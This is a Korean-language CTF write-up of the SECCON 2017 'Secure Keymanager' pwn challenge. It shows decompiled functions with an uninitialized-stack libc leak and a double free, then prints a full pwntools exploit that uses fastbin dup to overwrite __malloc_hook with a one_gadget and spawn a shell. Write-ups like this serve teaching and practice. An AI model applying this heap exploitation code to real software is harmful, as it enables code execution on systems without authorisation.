본문으로 바로가기

SECCON 2017 Secure Keymanager ( write - up )

Vulnability

  • uninitialized stack

  • double free(fastbin dup)


세콘이 맞나 싶을정도로 쉽..

signed __int64 check_account()
{
 signed __int64 result; // rax
 char buf; // [rsp+0h] [rbp-50h]
 unsigned __int64 v2; // [rsp+48h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 printf("Input Account Name >> ");
 read(0, &buf, 0x40uLL);
 if ( !strcmp(account, &buf) )
{
   if ( master[0] )
  {
     printf("Input Master Pass >> ", &buf);
     read(0, &buf, 0x40uLL);
     if ( !strcmp(master, &buf) )
    {
       result = 1LL;
    }
     else
    {
       puts("Wrong Pass...");
       result = 0LL;
    }
  }
   else
  {
     result = 1LL;
  }
}
 else
{
   printf("Account '%s' does not exist...\n", &buf);
   result = 0LL;
}
 return result;
}

이름이 틀리면 buf값을 출력해주는데 여기서 디버깅해서 값 채우면 libc leak 가능.


int remove_key()
{
 int result; // eax
 int id; // [rsp+Ch] [rbp-4h]

 puts("REMOVE KEY");
 result = check_account();
 if ( result )
{
   printf("Input id to remove...");
   id = getint();
   if ( id >= 0 && id <= 7 )
  {
     if ( key_list[id] )
    {
       free(key_list[id]);
       result = id;
       key_map[id] = '\0';
    }
     else
    {
       result = puts("not exits...");
    }
  }
   else
  {
     result = puts("out of length");
  }
}
 return result;
}

프리 하고 key_map[id]NULL넣어주지만 key_list[id]NULL 안넣음.

=> DFB 가능.

또한, ID PW체크하는 부분에서 PW가 NULL이면 그냥 맞다고 체크해준다. 즉, PW NULL로 넣어주면 익스가 한결 편하다.


Exploit

from pwn import *

#context.log_level = "debug"

binary = "./secure_keymanager"
e = ELF(binary)
libc = e.libc
r = process(binary, aslr = True)

menu = lambda x : r.sendafter(">> ",str(x))
go = lambda x : r.sendafter("...",str(x))
go2 = lambda x : r.sendlineafter("...",str(x))

name = "juntae\n"
pw = "\x00"

def add(length,title,key):
menu(1)
go(length)
go(title)
go(key)

def edit(index,key):
menu(3)
menu(name)
go(str(index))
go(key)

def remove(index):
menu(4)
menu(name)
go(index)

def change(name):
menu(9)
menu(name)

menu(name)
menu(pw)

menu(9)
menu("A"*24)

libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= libc.symbols["_IO_2_1_stdout_"]
log.info("libc_base : " + hex(libc_base))

for i in range(3):
add(0x60 - 0x20,"AAAA","BBBB")

remove(0)
remove(1)
remove(0)

add(0x60 - 0x20,p64(libc_base + libc.symbols["__malloc_hook"] - 0x23),"BBBB")
add(0x60 - 0x20,"AAAA","BBBB")
add(0x60 - 0x20,"AAAA","BBBB")
add(0x60 - 0x20,"X"*19 + p64(libc_base + 0xf02a4),"BBBB")

remove(1)
remove(1)

r.interactive()

쉬어가는 문제였다.